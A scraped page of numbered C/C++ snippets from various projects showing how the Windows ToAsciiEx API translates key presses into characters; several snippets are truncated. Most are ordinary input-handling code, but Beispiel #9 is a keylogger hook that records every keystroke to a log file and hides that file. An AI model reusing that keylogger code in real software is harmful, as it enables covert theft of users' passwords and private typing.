Beispiel #1
0
GHOST_EventKey* GHOST_SystemWin32::processKeyEvent(GHOST_IWindow *window, RAWINPUT const& raw)
{
	int keyDown=0;
	char vk;
	GHOST_SystemWin32 * system = (GHOST_SystemWin32 *)getSystem();
	GHOST_TKey key = system->hardKey(window, raw, &keyDown, &vk);
	GHOST_EventKey* event;
	if (key != GHOST_kKeyUnknown) {
		char ascii = '\0';

		unsigned short utf16[2]={0};
		BYTE state[256];
		GetKeyboardState((PBYTE)state);

		if(ToAsciiEx(vk, 0, state, utf16, 0, system->m_keylayout))
				WideCharToMultiByte(CP_ACP, 0x00000400, 
									(wchar_t*)utf16, 1,
									(LPSTR) &ascii, 1,
									NULL,NULL);

		event = new GHOST_EventKey(system->getMilliSeconds(), keyDown ? GHOST_kEventKeyDown: GHOST_kEventKeyUp, window, key, ascii);
		
#ifdef GHOST_DEBUG
		std::cout << ascii << std::endl;
#endif
	}
	else {
		event = 0;
	}
	return event;
}
Beispiel #2
0
unsigned char CKeyboard::ToAscii(unsigned int vKeyCode, unsigned int k, unsigned char sKState[256]) const
{
    unsigned short ascii[2] = {0};
    int nResult = ToAsciiEx( vKeyCode, k, sKState, ascii, 0, GetKeyboardLayout(0) );

    if (nResult == 2)
        return (char)(ascii[1] ? ascii[1] : (ascii[0] >> 8));
    else if (nResult == 1)
Beispiel #3
0
/*
 * @implemented
 */
int WINAPI
ToAscii(UINT uVirtKey,
        UINT uScanCode,
        CONST BYTE *lpKeyState,
        LPWORD lpChar,
        UINT uFlags)
{
    return ToAsciiEx(uVirtKey, uScanCode, lpKeyState, lpChar, uFlags, 0);
}
int32 CInputManager::Scan2ascii (uint32 scancode, uint16* result)
{
   static HKL layout=GetKeyboardLayout(0);
   static uint8 State[256];

   if (GetKeyboardState(State)==FALSE)
      return 0;
   uint32 vk=MapVirtualKeyEx(scancode,1,layout);
   return ToAsciiEx(vk,scancode,State,result,0,layout);
}
Beispiel #5
0
WORD scanCodeToASCII(DWORD scancode)
{
   HKL layout = GetKeyboardLayout(0);
   UINT vk=MapVirtualKeyEx(scancode,1,layout);
   UCHAR State[256];
   WORD res = 0;

   if (GetKeyboardState(State) && ToAsciiEx(vk,scancode,State,&res,0,layout) == 1);

   return res;
}
Beispiel #6
0
static unsigned char scan2ascii(WPARAM vk, LPARAM scancode)
{
   static HKL layout;
   static unsigned char State[256];
   static unsigned char chars[2];
   int count;

   layout = GetKeyboardLayout(0);
   if (GetKeyboardState(State)==FALSE)
      return 0;
   count = ToAsciiEx(vk,scancode,State,&chars,0,layout);
   if (count > 0) return chars[0];
   else return 0;
}
std::string cil::CILKeyboardState::ToAscii( CIL_KEY key )
{
	std::string out;
	int scan;
	USHORT buff[2];

	scan = MapVirtualKeyEx(key, 0, m_keyboardLayout);
	if ( ToAsciiEx(key, scan, m_keys, buff, 0, m_keyboardLayout) > 0)
	{
		out += (char)buff[0];
	};
	
	return out;
}
Beispiel #8
0
unsigned short CP3DInput::GetKeyChar()
{
	bool repeat = m_pTimer->IsTimeElapsed(m_timRepeat, true);

	for (int i=0; i < 256; i++)
	{
		if (i==1) continue; // nepøevádìj esc klávesu
		if (m_pKeyboardDown[i] || (repeat && m_pKeyboardCurr[i] == true)) // je klávesa poprvé dole? Nebo je uz dost dlouho dole(=opakovat)?
		{
			//NUMPAD
			switch(i)
			{
				case DIK_NUMPAD0: return '0'; break;
				case DIK_NUMPAD1: return '1'; break;
				case DIK_NUMPAD2: return '2'; break;
				case DIK_NUMPAD3: return '3'; break;
				case DIK_NUMPAD4: return '4'; break;
				case DIK_NUMPAD5: return '5'; break;
				case DIK_NUMPAD6: return '6'; break;
				case DIK_NUMPAD7: return '7'; break;
				case DIK_NUMPAD8: return '8'; break;
				case DIK_NUMPAD9: return '9'; break;
				case 83: return '.'; break;
				case 181: return '/'; break;
				case DIK_NUMPADCOMMA: return '.'; break;
				case DIK_NUMPADENTER: return 13; break;
				case DIK_NUMPADEQUALS: return '='; break;
			}

			unsigned short result=0; // výsledný znak
			HKL layout=GetKeyboardLayout(0); // získej aktuální rozložení klávesnice
			unsigned char State[256];
			if (GetKeyboardState(State)==FALSE) // získej stav všech virt. kláves
				return 0; // chyba
			unsigned int vk=MapVirtualKeyEx(i,1,layout); // namapuj virtual-code
			ToAsciiEx(vk,i,State,&result, 0,layout); // získej Ascii znak
			//CON(MSG_CON_INFO, "%d => %d", i, result); // DEBUG!
			return result;
		}
	}
	return 0;
}
Beispiel #9
0
LRESULT CALLBACK Keylogger(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
	HKL keyboard_layout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), 0));
	WORD symbol = NULL;
	BYTE keyboard_state[256];
	wchar_t unicodesymbol = NULL;
	char lpzsname[0x100] = { 0 };
	DWORD dwMsg = 1;
	int keys[9] = { 0x08, 0x0d, 0x10, 0x11, 0x12, 0x14, 0x1b, 0x2e, 0x00 };
	bool flag_sys = false;
	ofstream out;

	out.open(logkl, ios::app);
	HideFile(logkl);

	GetKeyboardState(keyboard_state);

	dwMsg += cKey.scanCode << 16;
	dwMsg += cKey.flags << 24;

	GetKeyNameText(dwMsg, (LPTSTR)lpzsname, 255);

	//ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, &unicodesymbol, 1, 0, keyboard_layout);
	ToAsciiEx(cKey.vkCode, cKey.scanCode, keyboard_state, &symbol, 0, keyboard_layout);

	for (int i = 0; i < 10; i++)
	{
		if (symbol == keys[i])
			flag_sys = true;
	}

	if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == false)
		out << (char)symbol;
	if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == true)
		out << "[" << lpzsname << "]";

	out.close();

	return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
KeyID
CMSWindowsKeyState::getIDForKey(CKeyMap::KeyItem& item,
				KeyButton button, UINT virtualKey,
				PBYTE keyState, HKL hkl) const
{
	int n;
	KeyID id;
	if (m_is95Family) {
		// XXX -- how do we get characters not in Latin-1?
		WORD ascii;
		n  = ToAsciiEx(virtualKey, button, keyState, &ascii, 0, hkl);
		id = static_cast<KeyID>(ascii & 0xffu);
	}
	else {
		WCHAR unicode[2];
		n  = m_ToUnicodeEx(virtualKey, button, keyState,
								unicode, sizeof(unicode) / sizeof(unicode[0]),
								0, hkl);
		id = static_cast<KeyID>(unicode[0]);
	}
	switch (n) {
	case -1:
		return CKeyMap::getDeadKey(id);

	default:
	case 0:
		// unmapped
		return kKeyNone;

	case 1:
		return id;

	case 2:
		// left over dead key in buffer. this used to recurse,
		// but apparently this causes a stack overflow, so just
		// return no key instead.
		return kKeyNone;
	}
}
//================================================================================
void ATHInputManager::SendKeyboardEvent()
{
	ATHKeyList m_liKeysDown = CheckKeys();

	ATHKeyList::iterator itrCurr = m_liKeysDown.begin();
	ATHKeyList::iterator itrEnd = m_liKeysDown.end();

	ATHEvent keyEvent( AET_KEYBOARD );
	unsigned int unKeyDownIndex = 0;
	unsigned int unKeyUpIndex = 0;
	while( itrCurr != itrEnd )
	{
		unsigned int szDIKKey = (*itrCurr);
		if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8)
		{
			BYTE chAsciiKeys[ATH_NUM_KEYS] = {};
			if (GetKeyboardState(chAsciiKeys))  
			{
				unsigned short szAsciiKey = 0;
				// Why do I have to do both opposite conversions????
				int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL);
				
				if (nCharCount > 0)
				{
					keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey;
					unKeyDownIndex++;
				}
			}
		}
	
		itrCurr++;
	}

	if( unKeyDownIndex > 0|| unKeyUpIndex > 0 )
	{
		keyEvent.m_EventID = AEI_KEYDOWN;
		m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE );
	}
}
Beispiel #12
0
static void BuildDynamicKeyMapTable()
{
    HKL hkl = GetKeyboardLayout(0);
    // Will need this to reset layout after dead keys.
    UINT spaceScanCode = MapVirtualKeyEx(VK_SPACE, 0, hkl);
    DynamicKeyMapEntry *dynamic;

    LANGID idLang = LOWORD(GetKeyboardLayout(0));
    UINT codePage;
    TCHAR strCodePage[MAX_ACP_STR_LEN];
    // use the LANGID to create a LCID
    LCID idLocale = MAKELCID(idLang, SORT_DEFAULT);
    // get the ANSI code page associated with this locale
    if (GetLocaleInfo(idLocale, LOCALE_IDEFAULTANSICODEPAGE,
	strCodePage, sizeof(strCodePage)/sizeof(TCHAR)) > 0 )
    {
        codePage = _ttoi(strCodePage);
    } else {
        codePage = GetACP();
    }

    // Entries in dynamic table that maps between Java VK and Windows
    // VK are built in three steps:
    //   1. Map windows VK to ANSI character (cannot map to unicode
    //      directly, since ::ToUnicode is not implemented on win9x)
    //   2. Convert ANSI char to Unicode char
    //   3. Map Unicode char to Java VK via two auxilary tables.

    for (dynamic = dynamicKeyMapTable; dynamic->windowsKey != 0; ++dynamic)
    {
        char cbuf[2] = { '\0', '\0'};
        WCHAR ucbuf[2] = { L'\0', L'\0' };
        int nchars;
        UINT scancode;
        const CharToVKEntry *charMap;
        int nconverted;
        WCHAR uc;
        BYTE kbdState[256];

        // Defaults to J_VK_UNDEFINED
        dynamic->javaKey = J_VK_UNDEFINED;

        GetKeyboardState(kbdState);

        kbdState[dynamic->windowsKey] |=  0x80; // Press the key.

        // Unpress modifiers, since they are most likely pressed as
        // part of the keyboard switching shortcut.
        kbdState[VK_CONTROL] &= ~0x80;
        kbdState[VK_SHIFT]   &= ~0x80;
        kbdState[VK_MENU]    &= ~0x80;

        scancode = MapVirtualKeyEx(dynamic->windowsKey, 0, hkl);
        nchars = ToAsciiEx(dynamic->windowsKey, scancode, kbdState,
                                 (WORD*)cbuf, 0, hkl);

        // Auxiliary table used to map Unicode character to Java VK.
        // Will assign a different table for dead keys (below).
        charMap = charToVKTable;

        if (nchars < 0) { // Dead key
            char junkbuf[2] = { '\0', '\0'};
            // Use a different table for dead chars since different layouts
            // return different characters for the same dead key.
            charMap = charToDeadVKTable;

            // We also need to reset layout so that next translation
            // is unaffected by the dead status.  We do this by
            // translating <SPACE> key.
            kbdState[dynamic->windowsKey] &= ~0x80;
            kbdState[VK_SPACE] |= 0x80;

            ToAsciiEx(VK_SPACE, spaceScanCode, kbdState,
                      (WORD*)junkbuf, 0, hkl);
        }

        nconverted = MultiByteToWideChar(codePage, 0,
                                         cbuf, 1, ucbuf, 2);

        uc = ucbuf[0];
        {
            const CharToVKEntry *map;
            for (map = charMap;  map->c != 0;  ++map) {
                if (uc == map->c) {
                    dynamic->javaKey = map->javaKey;
                    break;
                }
            }
        }

    } // for each VK_OEM_*
}
// This is the event dequeue & process function which updates
// Keyboard queue state. It can be called with 'blockingSinglepass'
// set to TRUE to process exactly one event, if called from the
// background keyboard queue processing thread. Alternatively it
// can be called synchronously from KbQueueCheck with a setting of FALSE
// to iterate over all available events and process them instantaneously:
void KbQueueProcessEvents(psych_bool blockingSinglepass)
{
    LPDIRECTINPUTDEVICE8 kb;
    DIDEVICEOBJECTDATA event;
    HRESULT rc;
    DWORD dwItems;
    double tnow;
    unsigned int i, keycode, keystate;
    PsychHIDEventRecord evt;
    WORD asciiValue[2];
    UCHAR keyboardState[256];

    while (1) {
        // Single pass or multi-pass?
        if (blockingSinglepass) {
            // Wait until at least one event available and dequeue it:
            // We use a timeout of 100 msecs.
            WaitForSingleObject(hEvent, 100);
        } else {
            // Check if event available, dequeue it, if so. Abort
            // processing if no new event available, aka queue empty:
            // TODO if (!XCheckTypedEvent(thread_dpy, GenericEvent, &KbQueue_xevent)) break;
        }

        // Take timestamp:
        PsychGetAdjustedPrecisionTimerSeconds(&tnow);

        // Need the lock from here on:
        PsychLockMutex(&KbQueueMutex);

        // Do a sweep over all keyboard devices whose queues are active:
        for (i = 0; i < (unsigned int) ndevices; i++) {
            // Skip this one if inactive:
            if (!psychHIDKbQueueActive[i]) continue;

            // Check this device:
            kb = GetXDevice(i);

            // Fetch one item from the buffer:
            // event.dwTimeStamp = Timestamp in msecs of timeGetTime() timebase.
            // event.dwSequence = Sequence number.

            // Fetch from this device, item-by-item, until nothing more to fetch:
            while (TRUE) {
                // Try one fetch from this device:
                dwItems = 1;
                rc = kb->GetDeviceData(sizeof(DIDEVICEOBJECTDATA), &event, &dwItems, 0);

                // If failed or nothing more to fetch, break out of fetch loop:
                if (!SUCCEEDED(rc) || (0 == dwItems)) break;

                // Clear ringbuffer event:
                memset(&evt, 0 , sizeof(evt));

                // Init character code to "unmapped": It will stay like that for anything but real keyboards:
                evt.cookedEventCode = -1;

                // Map to key code and key state:
                keycode = event.dwOfs & 0xff;
                keystate = event.dwData & 0x80;

                // Remap keycode into target slot in our arrays, depending on input device:
                switch (info[i].dwDevType & 0xff) {
                case DI8DEVTYPE_KEYBOARD:
                    // Try to map scancode to ascii character:
                    memset(keyboardState, 0, sizeof(keyboardState));
                    if (GetAsyncKeyState(VK_SHIFT)) keyboardState[VK_SHIFT] = 0xff;

                    if ((1 == ToAsciiEx(MapVirtualKeyEx(keycode, 1, GetKeyboardLayout(0)), keycode, keyboardState, (LPWORD) &(asciiValue[0]), 0, GetKeyboardLayout(0)))) {
                        // Mapped to single char: Return it as cooked keycode:
                        evt.cookedEventCode = (int) (asciiValue[0] & 0xff);
                    }
                    else {
                        // Could not map key to valid ascii character: Mark as "not mapped" aka zero:
                        evt.cookedEventCode = 0;
                    }

                    // Map scancode 'keycode' to virtual key code 'keycode':
                    keycode = PsychHIDOSMapKey(keycode);
                    break;

                case DI8DEVTYPE_MOUSE:
                case DI8DEVTYPE_SCREENPOINTER:
                    // Button event? Otherwise skip it.
                    if (keycode < 3 * sizeof(LONG)) continue;
                    // Correct for buttons offset in data structure DIMOUSESTATE2:
                    keycode -= 3 * sizeof(LONG);
                    break;

                case DI8DEVTYPE_JOYSTICK:
                    // Button event? Otherwise skip it.
                    if (keycode < (8 * sizeof(LONG) + 4 * sizeof(DWORD))) continue;
                    // Correct for buttons offset in data structure DIJOYSTATE2:
                    keycode -= (8 * sizeof(LONG) + 4 * sizeof(DWORD));
                    // Also skip if beyond button array:
                    if (keycode >= 128) continue;
                    break;

                default: // Unkown device -- Skip it.
                    continue;
                }

                // This keyboard queue interested in this keycode?
                if (psychHIDKbQueueScanKeys[i][keycode] != 0) {
                    // Yes: The queue wants to receive info about this key event.

                    // Press or release?
                    if (keystate) {
                        // Enqueue key press. Always in the "last press" array, because any
                        // press at this time is the best candidate for the last press.
                        // Only enqeue in "first press" if there wasn't any registered before,
                        // ie., the slot is so far empty:
                        if (psychHIDKbQueueFirstPress[i][keycode] == 0) psychHIDKbQueueFirstPress[i][keycode] = tnow;
                        psychHIDKbQueueLastPress[i][keycode] = tnow;
                        evt.status |= (1 << 0);
                    } else {
                        // Enqueue key release. See logic above:
                        if (psychHIDKbQueueFirstRelease[i][keycode] == 0) psychHIDKbQueueFirstRelease[i][keycode] = tnow;
                        psychHIDKbQueueLastRelease[i][keycode] = tnow;
                        evt.status &= ~(1 << 0);
                        // Clear cooked keycode - We don't record key releases this way:
                        if (evt.cookedEventCode > 0) evt.cookedEventCode = 0;
                    }

                    // Update event buffer:
                    evt.timestamp = tnow;
                    evt.rawEventCode = keycode + 1;
                    PsychHIDAddEventToEventBuffer(i, &evt);

                    // Tell waiting userspace (under KbQueueMutex protection for better scheduling) something interesting has changed:
                    PsychSignalCondition(&KbQueueCondition);
                }
                // Next fetch iteration for this device...
            }
            // Check next device...
        }

        // Done with shared data access:
        PsychUnlockMutex(&KbQueueMutex);

        // Done if we were only supposed to handle one sweep, which we did:
        if (blockingSinglepass) break;
    }

    return;
}
Beispiel #14
0
LRESULT CALLBACK generic_view_handler( HWND win, UINT  msg, WPARAM mp1, LPARAM mp2)
{
   LRESULT ret = 0;
   Handle  self   = GetWindowLongPtr( win, GWLP_USERDATA);
   PWidget v      = ( PWidget) self;
   UINT    orgMsg = msg;
   Event   ev;
   Bool    hiStage   = false;
   int     i, orgCmd;
   Bool    message_result = true;

   if ( !self || appDead)
      return DefWindowProcW( win, msg, mp1, mp2);

   memset( &ev, 0, sizeof (ev));
   ev. gen. source = self;

   switch ( msg) {
   case WM_NCACTIVATE:
        // if activation or deactivation is concerned with declipped window ( e.g.self),
        // notify its top level frame so that it will have the chance to redraw itself correspondingly
        if ( is_declipped_child( self) && !Widget_is_child( hwnd_to_view(( HWND) mp2), hwnd_top_level( self))) {
           Handle x = hwnd_top_level( self);
           if ( x) SendMessage( DHANDLE( x), WM_NCACTIVATE, mp1, mp2);
        }   
        break;
   case WM_MOUSEACTIVATE:
       // if pointing to non-active frame, but its declipped child is active at the moment,
       // cancel activation - it could produce unwilling focus changes
       if ( sys className == WC_FRAME) {
          Handle x = hwnd_to_view( GetActiveWindow());
          if ( is_declipped_child(x) && Widget_is_child( x, self))
             return MA_NOACTIVATE;
       }
       break;
   case WM_CLOSE:
      if ( sys className != WC_FRAME)
         return 0;
      break;
   case WM_COMMAND:
      if (( HIWORD( mp1) == 0 /* menu source */) && ( mp2 == 0)) {
          if ( LOWORD( mp1) <= MENU_ID_AUTOSTART) {
             HWND active = GetFocus();
             if ( active != nil) SendMessage( active, LOWORD( mp1), 0, 0);
          } else if ( sys lastMenu) {
             PAbstractMenu a = ( PAbstractMenu) sys lastMenu;
             if ( a-> stage <= csNormal)
                a-> self-> sub_call_id(( Handle) a, LOWORD( mp1) - MENU_ID_AUTOSTART);
          }
      }
      break;
   case WM_CONTEXTMENU:
      {
         POINT a;
	 a. x = ( short)LOWORD( mp2);
	 a. y = ( short)HIWORD( mp2);
         ev. cmd       = cmPopup;
         // mouse event
         ev. gen. B    = ( GetKeyState( VK_LBUTTON) < 0) | ( GetKeyState( VK_RBUTTON) < 0);
         if ( !ev. gen. B && GetSystemMetrics( SM_MOUSEPRESENT))
            GetCursorPos(( POINT*) &a);

         MapWindowPoints( NULL, win, &a, 1);
         ev. gen. P. x = a. x;
         ev. gen. P. y = sys lastSize. y - a. y - 1;
      }
      break;
   case WM_ENABLE:
      ev. cmd = mp1 ? cmEnable : cmDisable;
      hiStage = true;
      break;
   case WM_ERASEBKGND:
      return 1;
   case WM_FORCEFOCUS:
      if ( mp2)
         ((( PWidget) mp2)-> self)-> set_selected(( Handle) mp2, 1);
      return 0;
   case WM_HASMATE:
      *(( Handle*) mp2) = self;
      return HASMATE_MAGIC;
   case WM_IME_CHAR:
      if ( apc_widget_is_responsive( self)) {
         ev. cmd = cmKeyDown;
         ev. key. mod  = kmUnicode;
         ev. key. key  = kbNoKey;
         ev. key. code = mp1;
      }
      break;
   case WM_SYSKEYDOWN:
   case WM_SYSKEYUP:
      if ( mp2 & ( 1 << 29)) ev. key. mod = kmAlt;
   case WM_KEYDOWN:
   case WM_KEYUP:
      if ( apc_widget_is_responsive( self)) {
          BYTE * keyState;
          Bool up = ( msg == WM_KEYUP) || ( msg == WM_SYSKEYUP);
          Bool extended = mp2 & ( 1 << 24);
          UINT scan = ( HIWORD( mp2) & 0xFF) | ( up ? 0x80000000 : 0);
          int deadPollCount = 0;
          HKL kl = GetKeyboardLayout(0);

          // basic assignments
          ev. cmd = up ? cmKeyUp : cmKeyDown;
          ev. key. key    = ctx_remap_def( mp1, ctx_kb2VK, false, kbNoKey);
          ev. key. code   = mp1;
          ev. key. repeat = mp2 & 0x000000FF;

          // VK validations
          if ( extended) {
             int ks = ev. key. key;
             ev. key. key = ctx_remap_def( ks, ctx_kb2VK3, true, ks);
             if ( ev. key. key != ks)
                extended = false; // avoid (Ctrl|Alt)R+KeyPad combinations
          } else if ( mp1 >= VK_NUMPAD0 && mp1 <= VK_DIVIDE)
             extended = true; // include numpads

          ev. key. mod   = 0 |
             ( extended ? kmKeyPad : 0) |
             (( GetKeyState( VK_SHIFT)   < 0) ? kmShift : 0) |
             (( GetKeyState( VK_CONTROL) < 0) ? kmCtrl  : 0) |
             (( GetKeyState( VK_MENU)    < 0) ? kmAlt   : 0);

          keyState = guts. keyState;
AGAIN:             
          if ( PApplication(application)-> wantUnicodeInput) {
             WCHAR keys[ 2];
             // unicode mapping
             switch ( ToUnicodeEx( mp1, scan, keyState, keys, 2, 0, kl)) {
             case 1: // char
	     	if ( lastDeadKey ) {
 		   WCHAR wcBuffer[3];
 		   WCHAR out[3];
 		   wcBuffer[0] = keys[0];
 		   wcBuffer[1] = lastDeadKey;
 		   wcBuffer[2] = '\0';
 		   if ( FoldStringW(MAP_PRECOMPOSED, (LPWSTR) wcBuffer, 3, (LPWSTR) out, 3) )
 		      keys[0] = out[0];
		}
                if ( !deadPollCount && ( GetKeyState( VK_MENU) < 0) && ( GetKeyState( VK_SHIFT) >= 0)) {
                   WCHAR keys2[2];
                   if (( ToUnicodeEx( mp1, scan, guts. emptyKeyState, keys2, 2, 0, kl) == 1) &&
                       ( keys2[0] != keys[0])) {
                       /* example - (AltGr+2) == '@' on danish keyboard.
                          this hack is to tell whether the key without mods
                          will give same character code ...  */
                       ev. key. mod &= ~(kmAlt|kmCtrl|kmShift);
                   }
                }   
                if (!up) lastDeadKey = 0;
                break;
             case 2: { // dead key
                   lastDeadKey = ctx_remap_def( keys[0], ctx_deadkeys, true, keys[0]);
                   keys[ 0] = 0;
               	   ev. key. mod |= kmDeadKey;
                }
                break;
             case 0: // virtual key
                if ( deadPollCount == 0) {
                /* can't have character code - maybe fish out without mods? */
                   keyState = guts. emptyKeyState;
                   deadPollCount = 1;
                   goto AGAIN;
                } else {
                /* same meaning without mods, no code anyway */
                   keys[ 0] = 0;
                }
                if (!up) lastDeadKey = 0;
                break;
             default:
               	ev. key. mod |= kmDeadKey;
                if (!up) lastDeadKey = 0;
             }
             ev. key. code = keys[ 0];
	     ev. key. mod |= kmUnicode;
          } else {
             BYTE keys[ 4];
             switch ( ToAsciiEx( mp1, scan, keyState, (LPWORD) keys, 0, kl)) {
             case 1: // char
	     	if ( lastDeadKey ) {
 		   BYTE cBuffer[3];
 		   BYTE out[3];
 		   cBuffer[0] = keys[0];
 		   cBuffer[1] = lastDeadKey;
 		   cBuffer[2] = '\0';
 		   if ( FoldStringA(MAP_PRECOMPOSED, (LPSTR) cBuffer, 3, (LPSTR) out, 3) )
 		      keys[0] = out[0];
		}
                if ( !deadPollCount && ( GetKeyState( VK_MENU) < 0) && ( GetKeyState( VK_SHIFT) >= 0)) {
                   BYTE keys2[4];
                   if (( ToAsciiEx( mp1, scan, guts. emptyKeyState, (LPWORD) keys2, 0, kl) == 1) &&
                       ( keys2[0] != keys[0])) {
                       /* example - (AltGr+2) == '@' on danish keyboard.
                          this hack is to tell whether the key without mods
                          will give same character code ...  */
                       ev. key. mod &= ~(kmAlt|kmCtrl|kmShift);
                   }
                }   
                break;
             case 2: { // dead key
                   lastDeadKey = keys[0];
                   keys[ 0] = 0;
               	   ev. key. mod |= kmDeadKey;
                }
                break;
             case 0: // virtual key
                if ( deadPollCount == 0) {
                /* can't have character code - maybe fish out without mods? */
                   keyState = guts. emptyKeyState;
                   deadPollCount = 1;
                   goto AGAIN;
                } else {
                /* same meaning without mods, no code anyway */
                   keys[ 0] = 0;
                }   
                if (!up) lastDeadKey = 0;
                break;
             default:
                ev. key. mod |= kmDeadKey;
                if (!up) lastDeadKey = 0;
             }
             ev. key. code = keys[ 0];
          }

          // simulated key codes
          if ( ev. key. key == kbTab && ( ev. key. mod & kmShift))
             ev. key. key = kbBackTab;
          
          if ( ev. key. code >= 'A' && ev. key. code <= 'z' && ev. key. mod & kmCtrl) {
             ev. key. code = toupper(ev. key. code & 0xFF) - '@';
             if (!( ev. key. mod & kmShift)) ev. key. code = tolower( ev. key. code);
          }
      }
      break;
   case WM_INITMENUPOPUP:
      if ( HIWORD( mp2)) break; // do not use system popup
   case WM_INITMENU:
      {
         PMenuWndData mwd = ( PMenuWndData) hash_fetch( menuMan, &mp1, sizeof( void*));
         PMenuItemReg m = nil;
         sys lastMenu = mwd ? mwd-> menu : nilHandle;
         if ( mwd && mwd-> menu && ( PAbstractMenu(mwd-> menu)->stage <= csNormal)) {
            m = ( PMenuItemReg) AbstractMenu_first_that( mwd-> menu, find_oid, INT2PTR(void*,mwd->id), true);
            hiStage    = true;
            ev. cmd    = cmMenu;
            ev. gen. H = mwd-> menu;
            ev. gen. i = m ? m-> id : 0;
         }
         if (( msg == WM_INITMENUPOPUP) && ( m == nil))
            ev. cmd = 0;
      }
      break;
   case WM_KILLFOCUS:
      if (( HWND) mp1 != win) {
        ev. cmd = cmReleaseFocus;
        hiStage = true;
        apt_assign( aptFocused, 0);
        DestroyCaret();
      }
      break;
   case WM_LBUTTONDOWN:
      ev. pos. button = mbLeft;
      goto MB_DOWN;
   case WM_RBUTTONDOWN:
      ev. pos. button = mbRight;
      goto MB_DOWN;
   case WM_MBUTTONDOWN:
      ev. pos. button = mbMiddle;
      goto MB_DOWN;
   case WM_LBUTTONUP:
      ev. pos. button = mbLeft;
      goto MB_UP;
   case WM_RBUTTONUP:
      ev. pos. button = mbRight;
      goto MB_UP;
   case WM_MBUTTONUP:
      ev. pos. button = mbMiddle;
      goto MB_UP;
   case WM_LBUTTONDBLCLK:
      ev. pos. button = mbLeft;
      goto MB_DBLCLK;
   case WM_RBUTTONDBLCLK:
      ev. pos. button = mbRight;
      goto MB_DBLCLK;
   case WM_MBUTTONDBLCLK:
      ev. pos. button = mbMiddle;
      goto MB_DBLCLK;
   case WM_LMOUSECLICK:
      ev. pos. button = mbLeft;
      goto MB_CLICK;
   case WM_RMOUSECLICK:
      ev. pos. button = mbRight;
      goto MB_CLICK;
   case WM_MMOUSECLICK:
      ev. pos. button = mbMiddle;
      goto MB_CLICK;
   case WM_MOUSEWHEEL:
      {
         POINT p;
	 p. x = (short)LOWORD( mp2);
	 p. y = (short)HIWORD( mp2);
         ev. cmd         = cmMouseWheel;
         ev. pos. button = ( short) HIWORD( mp1);
         MapWindowPoints( nil, win, &p, 1);
         ev. pos. where. x = p. x;
         ev. pos. where. y = sys lastSize. y - p. y - 1;
      }
      goto MB_MAIN_NOPOS;
   case WM_MOUSEMOVE:
      ev. cmd = cmMouseMove;
      if ( self != lastMouseOver) {
         Handle old = lastMouseOver;
         lastMouseOver = self;
         if ( old && ( PWidget( old)-> stage == csNormal))
            SendMessage(( HWND)(( PWidget) old)-> handle, WM_MOUSEEXIT, mp1, mp2);
         SendMessage( win, WM_MOUSEENTER, mp1, mp2);
         if ( !guts. mouseTimer) {
            guts. mouseTimer = 1;
            if ( !SetTimer( dsys(application)handle, TID_USERMAX, 100, nil)) apiErr;
         }
      }
      goto MB_MAIN;
   case WM_MOUSEENTER:
      ev. cmd = cmMouseEnter;
      goto MB_MAIN;
   case WM_MOUSEEXIT:
      ev. cmd = cmMouseLeave;
      goto MB_MAIN;
   MB_DOWN:
      ev. cmd = cmMouseDown;
      goto MB_MAINACT;
   MB_UP:
      ev. cmd = cmMouseUp;
      goto MB_MAINACT;
   MB_DBLCLK:
      ev. pos. dblclk = 1;
   MB_CLICK:
      ev. cmd = cmMouseClick;
      goto MB_MAINACT;
   MB_MAINACT:
      if ( !is_apt( aptEnabled) || !apc_widget_is_responsive( self))
      {
         if ( ev. cmd == cmMouseDown || (ev. cmd == cmMouseClick && ev. pos. dblclk))
            MessageBeep( MB_OK);
         return 0;
      }
      goto MB_MAIN;
   MB_MAIN:
      if ( ev. cmd == cmMouseDown && !is_apt( aptFirstClick)) {
         Handle x = self;
         while ( dsys(x) className != WC_FRAME && ( x != application)) x = (( PWidget) x)-> owner;
         if ( x != application && !local_wnd( GetActiveWindow(), DHANDLE( x)))
         {
             ev. cmd = 0; // yes, we abandon mousedown but we should force selection:
             if ((( PApplication) application)-> hintUnder == self) v-> self-> set_hintVisible( self, 0);
             if (( v-> options. optSelectable) && ( v-> selectingButtons & ev. pos. button))
                apc_widget_set_focused( self);
         }
      }
      ev. pos. where. x = (short)LOWORD( mp2);
      ev. pos. where. y = sys lastSize. y - (short)HIWORD( mp2) - 1;
   MB_MAIN_NOPOS:
      ev. pos. mod      = 0 |
        (( mp1 & MK_CONTROL ) ? kmCtrl   : 0) |
        (( mp1 & MK_SHIFT   ) ? kmShift  : 0) |
        (( GetKeyState( VK_MENU) < 0) ? kmAlt : 0) |
	apc_pointer_get_state(self)
      ;
      break;
   case WM_MENUCHAR:
       {
          int key;
          ev. key. key    = ctx_remap_def( mp1, ctx_kb2VK2, false, kbNoKey);
          ev. key. code   = mp1;
          ev. key. mod   |=
             (( GetKeyState( VK_SHIFT)   < 0) ? kmShift : 0) |
             (( GetKeyState( VK_CONTROL) < 0) ? kmCtrl  : 0) |
             (( GetKeyState( VK_MENU)    < 0) ? kmAlt   : 0);
          if (( ev. key. mod & kmCtrl) && ( ev. key. code <= 'z'))
             ev. key. code += 'A' - 1;
          key = CAbstractMenu-> translate_key( nilHandle, ev. key. code, ev. key. key, ev. key. mod);
          if ( v-> self-> process_accel( self, key))
             return MAKELONG( 0, MNC_CLOSE);
       }
       break;
   case WM_SYNCMOVE:
       {
          Handle parent = v-> self-> get_parent(( Handle) v);
          if ( parent) {
             Point pos  = var self-> get_origin( self);
             ev. cmd    = cmMove;
             ev. gen. P = pos;
             if ( pos. x == var pos. x && pos. y == var pos. y) ev. cmd = 0;
          }
       }
       break;
   case WM_MOVE:
      {
          Handle parent = v-> self-> get_parent(( Handle) v);
          if ( parent) {
             Point sz = CWidget(parent)-> get_size( parent);
             ev. cmd = cmMove;
